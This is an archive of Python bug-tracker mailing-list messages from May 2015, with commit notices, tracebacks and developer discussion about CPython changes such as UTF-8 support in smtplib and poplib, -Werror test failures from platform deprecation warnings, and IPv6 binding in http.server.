2015-05-16 Thread Roundup Robot

Roundup Robot added the comment:

New changeset 09bd552999bf by Serhiy Storchaka in branch 'default':
Issue #16314: Added support for the LZMA compression in distutils.
https://hg.python.org/cpython/rev/09bd552999bf

--
nosy: +python-dev

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue21804] Implement thr UTF8 command (RFC 6856) in poplib.

2015-05-16 Thread R. David Murray

R. David Murray added the comment:

Thanks, Milan.

--
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue21804] Implement thr UTF8 command (RFC 6856) in poplib.

2015-05-16 Thread Roundup Robot

Roundup Robot added the comment:

New changeset 6ea762200e27 by R David Murray in branch 'default':
#21804: Add RFC 6856 (UTF8) support to poplib.
https://hg.python.org/cpython/rev/6ea762200e27

--
nosy: +python-dev

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue16991] Add OrderedDict written in C

2015-05-16 Thread Yury Selivanov

Yury Selivanov added the comment:

As for refleak -- I looked at it briefly: simple "a = OrderedDict(); a = None" 
code leaks, so it must be somewhere in tp_new/tp_dealloc.  And I know what 
object is leaking - it's None.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24210] Tests failed with -Werror

2015-05-16 Thread Serhiy Storchaka

Serhiy Storchaka added the comment:

The patch LGTM. But what to do with this code after 3.7? And why not to do this 
right now?

> An unrelated failure:

Ah, this is issue24134. Thank you for reporting this.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24134] assertRaises can behave differently

2015-05-16 Thread Serhiy Storchaka

Serhiy Storchaka added the comment:

Interesting, the last patch exposed a flaw in test_slice.

def test_hash(self):
# Verify clearing of SF bug #800796
self.assertRaises(TypeError, hash, slice(5))
self.assertRaises(TypeError, slice(5).__hash__)

But the second self.assertRaises() doesn't call __hash__. It is successful by 
accident, because slice(5).__hash__ is None.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue23780] Surprising behaviour when passing list to os.path.join.

2015-05-16 Thread Serhiy Storchaka

Serhiy Storchaka added the comment:

Oh, sorry, I forget to attach it.

--
Added file: http://bugs.python.org/file39394/join_datatype_check_2.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue18682] [PATCH] remove bogus codepath from pprint._safe_repr

2015-05-16 Thread Serhiy Storchaka

Serhiy Storchaka added the comment:

> Are there tests for all the "builtin scalars"?

Yes, now there are.

--
assignee:  -> serhiy.storchaka
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
versions: +Python 3.5 -Python 3.4

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24210] Tests failed with -Werror

2015-05-16 Thread Berker Peksag

Berker Peksag added the comment:

Here is a patch.

An unrelated failure:

$ ./python -Werror -m test test_slice
[1/1] test_slice
test test_slice failed -- Traceback (most recent call last):
  File "/home/berker/projects/cpython/default/Lib/test/test_slice.py", line 82, 
in test_hash
self.assertRaises(TypeError, slice(5).__hash__)
  File "/home/berker/projects/cpython/default/Lib/unittest/case.py", line 711, 
in assertRaises
return context.handle('assertRaises', args, kwargs)
  File "/home/berker/projects/cpython/default/Lib/unittest/case.py", line 153, 
in handle
DeprecationWarning, 3)
DeprecationWarning: callable is None

--
keywords: +patch
Added file: http://bugs.python.org/file39393/issue24210.diff

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue18682] [PATCH] remove bogus codepath from pprint._safe_repr

2015-05-16 Thread Roundup Robot

Roundup Robot added the comment:

New changeset c77a42c234d6 by Serhiy Storchaka in branch 'default':
Issue #18682: Optimized pprint functions for builtin scalar types.
https://hg.python.org/cpython/rev/c77a42c234d6

--
nosy: +python-dev

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue23964] Update README documentation for IDLE tests.

2015-05-16 Thread Terry J. Reedy

Changes by Terry J. Reedy :


--
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue23964] Update README documentation for IDLE tests.

2015-05-16 Thread Terry J. Reedy

Terry J. Reedy added the comment:

Thanks for the push. I incorporated most of your suggestions and added more 
changes.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue23780] Surprising behaviour when passing list to os.path.join.

2015-05-16 Thread Florian Bruhin

Florian Bruhin added the comment:

Serhiy, I don't see a new patch added - did you forget to attach it or am I 
missing something? :)

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue23964] Update README documentation for IDLE tests.

2015-05-16 Thread Roundup Robot

Roundup Robot added the comment:

New changeset 19e111891e39 by Terry Jan Reedy in branch '2.7':
Issue #23964: Update idlelib/idle_test/README.txt. first patch by Al Sweigart.
https://hg.python.org/cpython/rev/19e111891e39

New changeset 35b84ba2f8b1 by Terry Jan Reedy in branch '3.4':
Issue #23964: Update idlelib/idle_test/README.txt. first patch by Al Sweigart.
https://hg.python.org/cpython/rev/35b84ba2f8b1

--
nosy: +python-dev

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue19662] smtpd.py should not decode utf-8

2015-05-16 Thread Roundup Robot

Roundup Robot added the comment:

New changeset a7d3074fa888 by R David Murray in branch 'default':
#19662: Make requirement to support arbitrary keywords explicit.
https://hg.python.org/cpython/rev/a7d3074fa888

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue21804] Implement thr UTF8 command (RFC 6856) in poplib.

2015-05-16 Thread R. David Murray

Changes by R. David Murray :


--
stage:  -> commit review
type:  -> enhancement

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24204] string.strip() documentation is misleading

2015-05-16 Thread Carol Willing

Carol Willing added the comment:

Additional text added about stripping characters from the leading end and 
trailing end of the string. An additional example that illustrates the outer 
characters being stripped while the inner string characters, even though 
matching the chars set of characters, remain.

--
keywords: +patch
nosy: +willingc
stage:  -> patch review
Added file: http://bugs.python.org/file39392/iss24204.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue21800] Implement RFC 6855 (IMAP Support for UTF-8) in imaplib.

2015-05-16 Thread R. David Murray

Changes by R. David Murray :


--
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue22027] RFC 6531 (SMTPUTF8) support in smtplib

2015-05-16 Thread R. David Murray

R. David Murray added the comment:

Rewrote the tests to keep all the existing tests working against an unmodified 
SimSMTPServer, so that we know backward compatibility is maintained.  And as I 
said, I changed the tests to reflect that a non-ascii body must be provided as 
binary data, which means I deleted two tests.

(Note: in thinking about this, I vaguely remember some conversations where we 
thought it might make sense that if someone provided a message string that when 
encoded to utf-8 then conforms to the RFC, it would be OK to auto-encode it as 
utf-8, but I'm just not comfortable with that idea.  It provides insufficient 
value compared to the danger of blindly encoding something that is not RFC 
conformant...if someone does build a such a unicode message, they should have 
to convert it themselves before passing it to smtplib, as a sign they know what 
they are doing :)

Thanks for your work Milan.

--
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue22027] RFC 6531 (SMTPUTF8) support in smtplib

2015-05-16 Thread Roundup Robot

Roundup Robot added the comment:

New changeset 6b0e4c87bf9e by R David Murray in branch 'default':
#22027: Add RFC6531 support to smtplib.
https://hg.python.org/cpython/rev/6b0e4c87bf9e

--
nosy: +python-dev

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24210] Tests failed with -Werror

2015-05-16 Thread Berker Peksag

Berker Peksag added the comment:

Interesting, I ran the test suite twice before commit the patch. I will take a 
look, thanks!

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue16991] Add OrderedDict written in C

2015-05-16 Thread Yury Selivanov

Yury Selivanov added the comment:

Raymond, is there any chance you can review the patch before beta1?  Sorry, for 
bugging you with this, I just really hope we can have fast OrderedDict in 3.5.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24190] BoundArguments facility to inject defaults

2015-05-16 Thread Yury Selivanov

Yury Selivanov added the comment:

Thanks for the suggestion, Antoine!

--
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24190] BoundArguments facility to inject defaults

2015-05-16 Thread Roundup Robot

Roundup Robot added the comment:

New changeset ea61d8eb8a28 by Yury Selivanov in branch 'default':
Issue 24190: Add inspect.BoundArguments.apply_defaults() method.
https://hg.python.org/cpython/rev/ea61d8eb8a28

--
nosy: +python-dev

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24192] unexpected system error with pep420 style namespace packages

2015-05-16 Thread Eric Snow

Eric Snow added the comment:

Great!  The buildbots are happy too. :)

--
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24210] Tests failed with -Werror

2015-05-16 Thread Serhiy Storchaka

Serhiy Storchaka added the comment:

And test_ssl.

$ ./python -Werror -m test.regrtest -vv test_ssl
== CPython 3.5.0a4+ (default:08829230079b+, May 16 2015, 19:19:38) [GCC 4.8.2]
==   Linux-3.13.0-53-generic-i686-athlon-with-debian-jessie-sid little-endian
==   hash algorithm: siphash24 32bit
==   /home/serhiy/py/cpython/build/test_python_9027
Testing with flags: sys.flags(debug=0, inspect=0, interactive=0, optimize=0, 
dont_write_bytecode=0, no_user_site=0, no_site=0, ignore_environment=0, 
verbose=0, bytes_warning=0, quiet=0, hash_randomization=1, isolated=0)
[1/1] test_ssl
test test_ssl crashed -- Traceback (most recent call last):
  File "/home/serhiy/py/cpython/Lib/test/regrtest.py", line 1280, in 
runtest_inner
test_runner()
  File "/home/serhiy/py/cpython/Lib/test/test_ssl.py", line 3303, in test_main
plat = func()
  File "/home/serhiy/py/cpython/Lib/platform.py", line 305, in 
linux_distribution
PendingDeprecationWarning, stacklevel=2)
PendingDeprecationWarning: dist() and linux_distribution() functions are 
deprecated in Python 3.5 and will be removed in Python 3.7

1 test failed:
test_ssl

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24210] Tests failed with -Werror

2015-05-16 Thread Serhiy Storchaka

Serhiy Storchaka added the comment:

test_platform is failed.

==
ERROR: test_dist (test.test_platform.PlatformTest)
--
Traceback (most recent call last):
  File "/home/serhiy/py/cpython/Lib/test/test_platform.py", line 239, in 
test_dist
res = platform.dist()
  File "/home/serhiy/py/cpython/Lib/platform.py", line 380, in dist
PendingDeprecationWarning, stacklevel=2)
PendingDeprecationWarning: dist() and linux_distribution() functions are 
deprecated in Python 3.5 and will be removed in Python 3.7

==
ERROR: test_linux_distribution_encoding (test.test_platform.PlatformTest)
--
Traceback (most recent call last):
  File "/home/serhiy/py/cpython/Lib/test/test_platform.py", line 308, in 
test_linux_distribution_encoding
distname, version, distid = platform.linux_distribution()
  File "/home/serhiy/py/cpython/Lib/platform.py", line 305, in 
linux_distribution
PendingDeprecationWarning, stacklevel=2)
PendingDeprecationWarning: dist() and linux_distribution() functions are 
deprecated in Python 3.5 and will be removed in Python 3.7

--

--
resolution: fixed -> 
stage: resolved -> 
status: closed -> open

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24210] Tests failed with -Werror

2015-05-16 Thread Berker Peksag

Berker Peksag added the comment:

Thanks Serhiy.

--
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24210] Tests failed with -Werror

2015-05-16 Thread Roundup Robot

Roundup Robot added the comment:

New changeset 6181146842ba by Berker Peksag in branch 'default':
Issue #24210: Silence a PendingDeprecationWarning warning in 
platform.platform().
https://hg.python.org/cpython/rev/6181146842ba

--
nosy: +python-dev

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue23689] Memory leak in Modules/sre_lib.h

2015-05-16 Thread Serhiy Storchaka

Changes by Serhiy Storchaka :


--
assignee:  -> serhiy.storchaka

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue15836] unittest assertRaises should verify excClass is actually a BaseException class

2015-05-16 Thread Berker Peksag

Berker Peksag added the comment:

Since the patch has been reviewed by several core developers, I think you can 
go ahead and commit it.

I'm +0 on the 2.7 version of the patch (the isinstance(e, types.ClassType) part 
looks fine, but I haven't tested it). It's probably not worth to change 
anything on the 2.7 branch now :)

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue23780] Surprising behaviour when passing list to os.path.join.

2015-05-16 Thread Serhiy Storchaka

Serhiy Storchaka added the comment:

Here is extended patch, with tests.

--
assignee:  -> serhiy.storchaka
stage:  -> patch review
versions:  -Python 3.4

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue18330] Fix idlelib.PyShell.build_subprocess_arglist use of __import__

2015-05-16 Thread Terry J. Reedy

Terry J. Reedy added the comment:

Since filing this, I have decided that starting Idle directly with PyShell 
should be deprecated.  That would affect any patch for this.  In the meanwhile, 
there are other priorities.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue19176] DeprecationWarning for doctype() method when subclassing _elementtree.XMLParser

2015-05-16 Thread Eli Bendersky

Eli Bendersky added the comment:

I don't know how important this is to really warrant removal. Removal means 
potentially breaking working code when trying to run it with Python 3.5, and my 
impression was that the core devs are somewhat alergic to this, at least while 
the transition to Python 3 is ongoing.

Unless it has already been discussed (sorry if I missed it, haven't had much 
time for CPython recently, unfortunately), may be worth a quick check with 
python-dev

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue19176] DeprecationWarning for doctype() method when subclassing _elementtree.XMLParser

2015-05-16 Thread Serhiy Storchaka

Serhiy Storchaka added the comment:

Updated to the tip. If Eli doesn't have objections, I'll commit it.

--
Added file: http://bugs.python.org/file39391/doctype-remove.v4.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue15836] unittest assertRaises should verify excClass is actually a BaseException class

2015-05-16 Thread Serhiy Storchaka

Serhiy Storchaka added the comment:

Ping.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue19176] DeprecationWarning for doctype() method when subclassing _elementtree.XMLParser

2015-05-16 Thread Serhiy Storchaka

Changes by Serhiy Storchaka :


--
assignee:  -> serhiy.storchaka

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue22609] Constructors of some mapping classes don't accept `self` keyword argument

2015-05-16 Thread Serhiy Storchaka

Serhiy Storchaka added the comment:

Could you please look at the new patch Raymond? This is the dependency for 
issue22958.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue22958] Constructors of weakref mapping classes don't accept "self" and "dict" keyword arguments

2015-05-16 Thread Serhiy Storchaka

Changes by Serhiy Storchaka :


--
dependencies: +Constructors of some mapping classes don't accept `self` keyword 
argument

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue15267] tempfile.TemporaryFile and httplib incompatibility

2015-05-16 Thread Serhiy Storchaka

Serhiy Storchaka added the comment:

Catching TypeError or AttributeError on len() is a hack, but it is compatible 
with Python 3 and older code. We could handle this in issue23740.

Changing TemporaryFile would solve this issue, but only for TemporaryFile. 
len() raises AttributeError for other file-like classic classes. So I committed 
slightly modified Atsuo's patch (extended test as Victor suggested).

As for converting classic classes to new-style classes, see for example 
issue14399. It is not so harmless, as expected, unfortunately. But perhaps it 
was done multiple times in bug-fix releases.

--
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue15267] tempfile.TemporaryFile and httplib incompatibility

2015-05-16 Thread Roundup Robot

Roundup Robot added the comment:

New changeset c34513c2a894 by Serhiy Storchaka in branch '2.7':
Issue #15267: HTTPConnection.request() now is compatibile with old-style
https://hg.python.org/cpython/rev/c34513c2a894

--
nosy: +python-dev

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue15267] tempfile.TemporaryFile and httplib incompatibility

2015-05-16 Thread Serhiy Storchaka

Changes by Serhiy Storchaka :


--
assignee:  -> serhiy.storchaka

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue22939] integer overflow in iterator object

2015-05-16 Thread Serhiy Storchaka

Changes by Serhiy Storchaka :


--
versions: +Python 2.7, Python 3.4

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue16864] sqlite3.Cursor.lastrowid isn't populated when executing a SQL REPLACE statement

2015-05-16 Thread R. David Murray

R. David Murray added the comment:

Added review comments.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24210] Tests failed with -Werror

2015-05-16 Thread Berker Peksag

Berker Peksag added the comment:

This is caused by issue 1322. I'll fix it.

--
assignee:  -> berker.peksag

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24210] Tests failed with -Werror

2015-05-16 Thread Berker Peksag

Changes by Berker Peksag :


--
nosy: +berker.peksag

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue15216] Support setting the encoding on a text stream after creation

2015-05-16 Thread Nick Coghlan

Nick Coghlan added the comment:

Revisiting the idea Nikolaus raised last year regarding whether or not this 
could be done using a dedicated API in the sys module, I realised today that 
even if we decided to use a separate public API, *that API* would still need a 
defined way to modify the stream encoding and error handling in place.

Since we're going to need the object level in-place modification API 
regardless, a separate sys module API for modifying the standard streams in 
particular would then introduce additional complexity without providing a 
proportional benefit.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24210] Tests failed with -Werror

2015-05-16 Thread Serhiy Storchaka

New submission from Serhiy Storchaka:

$ ./python -Werror -m test.regrtest -u all -vv
== CPython 3.5.0a4+ (default:5342fad7cd59+, May 16 2015, 15:55:16) [GCC 4.8.2]
Traceback (most recent call last):
  File "/home/serhiy/py/cpython/Lib/runpy.py", line 170, in _run_module_as_main
"__main__", mod_spec)
  File "/home/serhiy/py/cpython/Lib/runpy.py", line 85, in _run_code
exec(code, run_globals)
  File "/home/serhiy/py/cpython/Lib/test/regrtest.py", line 1589, in 
main_in_temp_cwd()
  File "/home/serhiy/py/cpython/Lib/test/regrtest.py", line 1564, in 
main_in_temp_cwd
main()
  File "/home/serhiy/py/cpython/Lib/test/regrtest.py", line 602, in main
print("==  ", platform.platform(aliased=True),
  File "/home/serhiy/py/cpython/Lib/platform.py", line 1441, in platform
distname, distversion, distid = dist('')
  File "/home/serhiy/py/cpython/Lib/platform.py", line 378, in dist
PendingDeprecationWarning, stacklevel=2)
PendingDeprecationWarning: dist() and linux_distribution() functions are 
deprecated in Python 3.5 and will be removed in Python 3.7

--
components: Tests
messages: 243323
nosy: ezio.melotti, michael.foord, pitrou, serhiy.storchaka
priority: normal
severity: normal
status: open
title: Tests failed with -Werror
type: behavior
versions: Python 3.5

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24208] test_inspect leaks temporary directory

2015-05-16 Thread Serhiy Storchaka

Changes by Serhiy Storchaka :


--
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24208] test_inspect leaks temporary directory

2015-05-16 Thread Yury Selivanov

Yury Selivanov added the comment:

I think it should be fixed now. Thanks for finding this!

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue20014] Makes array.array constructor accepts ascii-unicode typecode

2015-05-16 Thread Roundup Robot

Roundup Robot added the comment:

New changeset 7d60cb6c33cf by Serhiy Storchaka in branch '2.7':
Issue #20014: array.array() now accepts unicode typecodes.  Based on patch by
https://hg.python.org/cpython/rev/7d60cb6c33cf

--
nosy: +python-dev

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24208] test_inspect leaks temporary directory

2015-05-16 Thread Roundup Robot

Roundup Robot added the comment:

New changeset 08829230079b by Yury Selivanov in branch 'default':
Issue 24208: Fix tests -- don't create a tempdir in __init__.
https://hg.python.org/cpython/rev/08829230079b

--
nosy: +python-dev

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24208] test_inspect leaks temporary directory

2015-05-16 Thread Yury Selivanov

Yury Selivanov added the comment:

Look's like it's TestNoEOL.__init__ method.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24208] test_inspect leaks temporary directory

2015-05-16 Thread Yury Selivanov

Yury Selivanov added the comment:

That's strange. None of these test touch any files-related stuff. At least I 
can't see it.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24209] Allow IPv6 bind in http.server

2015-05-16 Thread Link Mauve

New submission from Link Mauve:

When running `python -m http.server -b ::` (or any other IPv6), I’d expect 
people to be able to download from my IPv6.

This patch fixes that issue.

I also tested it on a dual-stack kernel, IPv4 requests work just fine and 
appear as :::127.0.0.1 for example.

--
components: Library (Lib)
files: ipv6.patch
keywords: patch
messages: 243317
nosy: Link Mauve
priority: normal
severity: normal
status: open
title: Allow IPv6 bind in http.server
type: enhancement
versions: Python 3.4, Python 3.5, Python 3.6
Added file: http://bugs.python.org/file39390/ipv6.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24176] Incorrect parsing of unpacked expressions in call

2015-05-16 Thread Roundup Robot

Roundup Robot added the comment:

New changeset 38b2307372bf by Benjamin Peterson in branch 'default':
allow test node after ** in calls (closes #24176)
https://hg.python.org/cpython/rev/38b2307372bf

--
nosy: +python-dev
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue23637] Warnings error with non-ascii chars.

2015-05-16 Thread Roundup Robot

Roundup Robot added the comment:

New changeset 22e44a7ee89f by Serhiy Storchaka in branch '2.7':
Issue #23637: Showing a warning no longer fails with UnicodeErrror.
https://hg.python.org/cpython/rev/22e44a7ee89f

--
nosy: +python-dev

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24204] string.strip() documentation is misleading

2015-05-16 Thread Jim

Jim added the comment:

Maybe, "... all combinations of its values are stripped from the beginning and 
end."

It is rather difficult to be both clear AND concise. Heck, I'm having trouble 
just trying to explain it.

Mark, that part is clear, but I think somehow reiterating how the method works 
would be helpful to someone who is only familiar with a handful of the string 
methods, knows strip() removes characters, sees that several characters can be 
specified, and assumes that all such characters will be removed.

As it is, it's sort of like a puzzle that's glaringly obvious once you figure 
it out, but frustrating in proportion to the amount of time spent figuring. 
Almost more trouble to figure out how to explain it without turning it into a 
tutorial than it is to sort it out on your own at the console.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24134] assertRaises can behave differently

2015-05-16 Thread Roundup Robot

Roundup Robot added the comment:

New changeset 0c93868f202e by Serhiy Storchaka in branch '2.7':
Reverted issue #24134 changes.
https://hg.python.org/cpython/rev/0c93868f202e

New changeset a69a346f0c34 by Serhiy Storchaka in branch '3.4':
Reverted issue #24134 changes (except new tests).
https://hg.python.org/cpython/rev/a69a346f0c34

New changeset ac13f0390866 by Serhiy Storchaka in branch 'default':
Issue #24134: assertRaises(), assertRaisesRegex(), assertWarns() and
https://hg.python.org/cpython/rev/ac13f0390866

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue20182] Derby #13: Convert 50 sites to Argument Clinic across 5 files

2015-05-16 Thread Roundup Robot

Roundup Robot added the comment:

New changeset 738ac3ad9ee4 by Serhiy Storchaka in branch 'default':
Fixed compilation error in signalmodule.c (issue #20182).
https://hg.python.org/cpython/rev/738ac3ad9ee4

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue12816] smtpd uses library outside of the standard libraries

2015-05-16 Thread Berker Peksag

Changes by Berker Peksag :


--
nosy: +berker.peksag

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue17045] Improve C-API doc for PyTypeObject

2015-05-16 Thread Berker Peksag

Changes by Berker Peksag :


--
nosy: +berker.peksag

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue9377] socket, PEP 383: Mishandling of non-ASCII bytes in host/domain names

2015-05-16 Thread Almad

Almad added the comment:

I'd add that this bug is very practical and can render a lot of software 
unusable/noisy/confusing on Windows, including Django (I discovered this bug 
when mentoring on Django Girls].

The simple step to reproduce is to take any windows and set regional settings 
to non-English (I've used Czech). You can verify that using "import locale; 
locale.getpreferredencoding()", that should display something else ("cp1250" in 
my case).

Then, set "name" (= hostname, in Windows settings) of the computer to anything 
containing non-ascii character (like "Didejo-noťas").

As Windows apparently encodes the hostname using their default encoding, it 
fails with

```
  File "C:\Python34\lib\wsgiref\simple_server.py", line 50, in server_bind
HTTPServer.server_bind(self)
  File "C:\Python34\lib\http\server.py", line 135, in server_bind
self.server_name = socket.getfqdn(host)
  File "C:\Python34\lib\socket.py", line 463, in getfqdn
hostname, aliases, ipaddrs = gethostbyaddr(name)
UnicodeDecodeError: 'utf-8' codec can't decode byte 0x9d in position 9: invalid
start byte
```

--
